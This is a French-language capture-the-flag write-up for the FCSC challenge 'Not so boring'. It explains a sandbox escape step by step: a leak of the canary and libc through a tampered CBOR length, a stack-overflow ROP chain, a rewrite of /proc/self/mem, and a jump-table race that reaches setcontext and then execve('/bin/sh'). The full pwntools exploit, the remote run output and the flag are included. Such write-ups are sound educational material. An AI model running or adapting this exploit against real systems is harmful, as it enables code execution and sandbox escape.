Not so boring

C’est un challenge en deux parties, la première était “Boring”. Nous nous interesserons à la seconde.

Le programme est maintenant lancé avec une lib, via LD_PRELOAD, qui fait un fork() et sandbox l’enfant. Coté enfant la lib utilise seccomp et hook certaines fonctions libc. Les hooks communiquent avec le parent via un pipe et un buffer partagé appelé g_shm_mailbox. Les hooks ne sont pas vraiment utiles, seccomp bloquerait les tentatives. Interessant..
Voici ce qui est autorisé :

        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(pwrite64), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(pread64), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

Coté enfant :

Je passe rapidement, c’est le parent qui est interessant, cf write up de ‘boring’.

  • vulnérabilité 1 dans print_team() Grace à un leak en changeant un champ du cbor pour lui dire qu’il est plus grand qu’il ne l’est réellement on obtient le canary et la libc.
  • vulnérabilité 2 dans validate_email()
        +0x0f7                char var_58[0x20]
        +0x0f7                memcpy(&var_58, &arg1[1], rax_6)

Overflow de pile, ROP. Peu de place, besoin d’avoir des offsets fixes pour certains paramètres, on fera un pivot vers la section .bss. Le ROP sera multistage pour récupérer des infos et continuer en fonction de celles ci.

  • etape 1 : récupérer une vue totale de la mémoire en affichant /proc/self/maps et récupérer l’étape 2
  • etape 2 : passer du ROP à du code classique (via pwrite64 /proc/self/mem) pour exploiter le parent, cf plus bas. Ici seccomp n’est parametré que pour filtrer le x64, pas le 32 bits, mais les adresses ne permettaient pas de switcher.

Coté parent :

L’exploit dans l’enfant remplit g_shm_mailbox et signale qu’un message est dispo à run_supervisor() via un pipe. Il simule sandbox_send(). run_supervisor() va appeler handle_ipc_command(). Voici le début de la fonction :

            +0x000    uint64_t handle_ipc_command(int64_t* arg1)
            +0x000  48833f07           cmp     qword [rdi], 0x7
            +0x004  0f8766010000       ja      0x4018e1
            +0x00a  4156               push    r14 {__saved_r14}
            +0x00c  488d15600b0000     lea     rdx, [rel jump_table_4022e4]
            +0x013  4155               push    r13 {__saved_r13}
            +0x015  4154               push    r12 {__saved_r12}
            +0x017  55                 push    rbp {__saved_rbp}
            +0x018  53                 push    rbx {__saved_rbx}
            +0x019  488b07             mov     rax, qword [rdi]
            +0x01c  4889fb             mov     rbx, rdi
            +0x01f  48630482           movsxd  rax, dword [rdx+rax*4]
            +0x023  4801d0             add     rax, rdx
            +0x026  ffe0               jmp     rax

L’enfant va spammer handle_ipc_command() tout en modifiant g_shm_mailbox pour changer [rdi] entre cmp qword [rdi], 0x7 et mov rax, qword [rdi].
Le but est de faire une race condition sur ce switch (msg->command) pour sauter trop loin dans le code ; [rdi] est utilisé pour calculer le saut. D’où l’interet de passer par du code pur, optimisé, à la place du ROP pour spammer efficacement. Même ainsi le taux de succès est faible, mais suffisant.

Ce switch() utilise une table de saut ; en fonction de msg->command il lit une valeur dans la table, l’ajoute à l’adresse de la table, et y saute.
Il faut donc que l’index de la table pointe vers quelque chose que l’on peut définir, à savoir une valeur qui, ajoutée à l’adresse de la table, soit l’adresse où l’on veut aller.
Dans le process parent on ne controle que g_shm_mailbox donc on doit faire en sorte que index*4+&table = &g_shm_mailbox+0x10 (pointeur après msg->command).
La valeur à placer dans *[g_shm_mailbox+0x10] sera &destination-&table.
Comme la libsandbox est chargée plus haut que la heap qui contient g_shm_mailbox, l’index sera très grand pour devenir négatif au moment du movsxd rax, dword [rdx+rax*4].
Où aller ? Les one gadget ne marchent pas, tous utilisent RBP qui contient le pid de l’enfant à ce moment là, cela provoque un SIGSEV.
RDI et RBX contiennent l’adresse de g_shm_mailbox.
La solution que j’ai trouvé a été de sauter vers la function setcontext de la libc, qui redéfinit tout le contexte selon le contenu situé à RDI. Ca permet de redéfinir tous les registres, y compris RSP et RIP, comme un sigreturn.
Du coup on lance un execve(‘/bin/sh’,0,0), et /getflag depuis le shell. Et paf le flag.

➜  not-so-boring ./exploit.py REMOTE
[+] Opening connection to challenges.fcsc.fr on port 2207: Done
[+] elf.base:         0x6373e18de000
[+] libc.base:        0x77846dcee000
[+] canary:           0xe5318437b20b2c00
[*] Loaded 5 cached gadgets for './boring_patched'
[*] Loaded 205 cached gadgets for './libc-2.41.so'
[+] libsandbox.base:  0x77846def4000
[+] g_shm_mailbox:    0x77846def3000
[*] onegadget=0x77846dd333b0
[*] table=0x77846def62e4
[*] delta=0xffe3d0cc
[*] index=4611686018427384651
[*] Loaded 27 cached gadgets for './libsandbox.so'
[+] please wait during the race: Done
[*] Switching to interactive mode
Linux not-so-boring 6.18.20-metal-hardened-pwn #1 SMP Sun Mar 29 21:23:43 UTC 2026 x86_64 GNU/Linux
FCSC{faeebeeeaa6369be7079b085470bc92103cda6133a55d1df7b0c45f05f026e60}$  
  • mandragore, 2026/04/09

from pwn import *
import cbor2
#sys.tracebacklimit = 0  # yeah I know it crashed

context.arch = 'amd64'
#context.terminal = ['tmux', 'splitw', '-h']

if args.DBG:
    context.log_level = 'debug'
else:
    context.log_level = 'info'

elf = ELF('./boring_patched', checksec=False)
libc = ELF('./libc-2.41.so', checksec=False)
libsandbox = ELF('./libsandbox.so', checksec=False)

if args.REMOTE:
    p = remote('challenges.fcsc.fr', 2207)
else:
    if args.GDB:
        p = gdb.debug(elf.path, env={'LD_PRELOAD': './libsandbox.so'}, gdbscript='''
            # follow parent/child
            set follow-fork-mode child
            # on parent / off child
            set detach-on-fork off
            set schedule-multiple on

            # ROPBREAKPOINT
            break *_init+0x16
            continue

            #break handle_ipc_command
            #break setcontext

            continue
        ''')
    else:
        p = process(elf.path, env={'LD_PRELOAD': './libsandbox.so'})

def teamleak():
    leaksize=1024
    team_data = {
        "year": 2026,
        "captain": "crunch",
        "player_count": 1,
        "players": [{"email": b"alice@teamfrance.ctf","speciality": "ninja","nickname": b'XYZZ'}]*9+[
            {
            "email": b"alice@teamfrance.ctf",
            "speciality": "ninja",
            "nickname": b'XYZY'
            }
        ]
    }
    raw_cbor = bytearray(cbor2.dumps(team_data))
    # print(hexdump(raw_cbor))
    cbor=raw_cbor.replace(b'\x44XYZY', b'\x59'+p16(leaksize,endian='big')+cyclic(leaksize)) # 0x79 -> text string, size 2 octets
    # print(hexdump(cbor))
    return cbor

def teamsploit(payload):
    team_data = {
        "year": 2026,
        "captain": "crunch",
        "player_count": 1,
        "players": [
            {
                "nickname": b"Alice",
                "email": payload+b"@teamfrance.ctf",
                "speciality": "Radio"
            }
        ]
    }
    return cbor2.dumps(team_data)

team=teamleak()
p.sendlineafter(b'composition: ',team)
leak=p.recvuntil(b'correct')
#print(hexdump(leak))

ptrleak=leak.find(b'\0ninja')+1 # moving during debug
canary=u64(leak[ptrleak+0x50:ptrleak+0x58])
elf.address=u64(leak[ptrleak+0xa0:ptrleak+0xa8])-elf.sym.main
libc.address=u64(leak[ptrleak+0x130:ptrleak+0x138])-libc.sym.__libc_start_main-133
success(f'elf.base:         {elf.address:#x}')
success(f'libc.base:        {libc.address:#x}')
success(f'canary:           {canary:#x}')
ROPBREAKPOINT=elf.sym._init+0x16
ROPINFLOOP=libc.address+0xf5660
ROPPIVOT=libc.address+0x285d8

# exploit, pivot

pivot=elf.bss()+0x100
rop=ROP([elf,libc])
rop.read(0,pivot,0x200) # size of first stage rop
rop.raw(elf.address+0x144e) # leave ; ret

payload=cyclic(0x48)+p64(canary)+p64(pivot)+rop.chain()
p.sendlineafter(b': ',b'n')
p.sendlineafter(b'composition: ',teamsploit(payload))

# first stage, get more addresses

rop=ROP([elf,libc])
rop.raw(0x1122334455667787) # pivot cleaning (>rbp)

rop.open(libc.address+0x1a6e9e,0) # /proc/self/maps
rop.read(3,pivot+0x200,0x1000)
rop.write(1,pivot+0x200,0x1000)

pivot+=0x100
rop.read(0,pivot,0x400)
rop.rsp=pivot
rop.raw(ROPPIVOT)

p.sendline(rop.chain())

leak=p.recvuntil(b'libsandbox')
#print(hexdump(leaks))
for line in leak.splitlines():
    if b'libsandbox' in line:
        libsandbox.address=int(line.split(b'-')[0],16)
    if b'deleted' in line:
        g_shm_mailbox=int(line.split(b'-')[0],16)
success(f'libsandbox.base:  {libsandbox.address:#x}')
success(f'g_shm_mailbox:    {g_shm_mailbox:#x}')
p.clean()

# second stage, organize the race

# jmp (table+[index*4+table]) où
#   index*4+table=addrmailbox+0x20
#   [index*4+table]=delta=onegadget-table

# calcul de la valeur à ajouter à table pour arriver à onegadget (negatif, libc < libsandbox)
onegadget=libc.sym.setcontext
info(f'{onegadget=:#x}')
table=libsandbox.address+libsandbox.get_section_by_name('.rodata').header.sh_addr+0x2e4
info(f'{table=:#x}')
delta=(onegadget-table) & 0xffffffff
info(f'{delta=:#x}')

# calcul de la valeur du pointeur vers notre valeur à ajouter
index=(g_shm_mailbox+0x10-table) & 0xffffffffffffffff
index=(index>>2)
info(f'{index=}')

# R12 = $addrmailbox
# R13 = msg->command valide pour passer le check
# R14 = msg->command empoisonné
# R15 = taille à copier
# RBX = write
newmain=asm("""
race_loop:
    mov rdi, r12
    mov rsi, r13
    mov rcx, r15
    rep movsb
    mov rdi,6
;    mov rsi,rsp
    mov rdx,1
    call rbx    # write
    mov rdi, r12
    mov rsi, r14
    mov rcx, r15
    rep movsb
    jmp race_loop
""")

rop=ROP([elf,libc,libsandbox])
# init mail + setcontext
rop.memcpy(g_shm_mailbox,pivot+0x140,0x100)
# patch main()
rop.open(pivot+0x120,2)
rop.pwrite64(5,pivot+0x260,len(newmain),elf.sym.main)
# prepare args
rop.r12=g_shm_mailbox
rop.r13=pivot+0x140 # legit
rop.r14=pivot+0x240 # poisoned
rop.r15=p64(16)   # len({flag,indexmsg})
rop.rbx=libc.sym.write
# call new main()
rop.raw(rop.ret.address)
rop.raw(elf.sym.main)

#rop.raw(ROPBREAKPOINT)
#rop.raw(ROPINFLOOP)

# my data segment
payload={
    0:rop.chain(),
    0x120: b'/proc/self/mem\0',
    # mail + setcontext
    0x140: p64(1)+p64(1)+p32(delta),
    0x148+0x68: p64(next(libc.search(b'/bin/sh\0'))), # rdi
    0x148+0x70: p64(0),                               # rsi
    0x148+0x88: p64(0),                               # rdx
    0x148+0xa0: p64(pivot+0x500),                     # rsp
    0x148+0xa8: p64(libc.sym.execve),                 # rip
    0x148+0xe0: p64(g_shm_mailbox+0x100),             # pour fldenv
    # evil index
    0x240: p64(1)+p64(index)+p32(delta),
    # code to replace main
    0x260: newmain
}
p.sendline(fit(payload))

prog=p.progress('please wait during the race')
p.sendline(b'echo hereiam')
p.recvuntil(b'hereiam')
prog.success()
p.clean()
p.sendline(b'uname -a; /getflag')
p.interactive()

"""
=> 0x786b7ae7a3e5 <setcontext+53>:      mov    rsp,QWORD PTR [rdx+0xa0]
   0x786b7ae7a3ec <setcontext+60>:      mov    rbx,QWORD PTR [rdx+0x80]
   0x786b7ae7a3f3 <setcontext+67>:      mov    rbp,QWORD PTR [rdx+0x78]
   0x786b7ae7a3f7 <setcontext+71>:      mov    r12,QWORD PTR [rdx+0x48]
   0x786b7ae7a3fb <setcontext+75>:      mov    r13,QWORD PTR [rdx+0x50]
   0x786b7ae7a3ff <setcontext+79>:      mov    r14,QWORD PTR [rdx+0x58]
   0x786b7ae7a403 <setcontext+83>:      mov    r15,QWORD PTR [rdx+0x60]
   0x786b7ae7a407 <setcontext+87>:      mov    rcx,QWORD PTR [rdx+0xa8]
   0x786b7ae7a40e <setcontext+94>:      push   rcx
   0x786b7ae7a40f <setcontext+95>:      mov    rsi,QWORD PTR [rdx+0x70]
   0x786b7ae7a413 <setcontext+99>:      mov    rdi,QWORD PTR [rdx+0x68]
   0x786b7ae7a417 <setcontext+103>:     mov    rcx,QWORD PTR [rdx+0x98]
   0x786b7ae7a41e <setcontext+110>:     mov    r8,QWORD PTR [rdx+0x28]
   0x786b7ae7a422 <setcontext+114>:     mov    r9,QWORD PTR [rdx+0x30]
   0x786b7ae7a426 <setcontext+118>:     mov    rdx,QWORD PTR [rdx+0x88]
   0x786b7ae7a42d <setcontext+125>:     xor    eax,eax
   0x786b7ae7a42f <setcontext+127>:     ret
"""

This site uses Just the Docs, a documentation theme for Jekyll.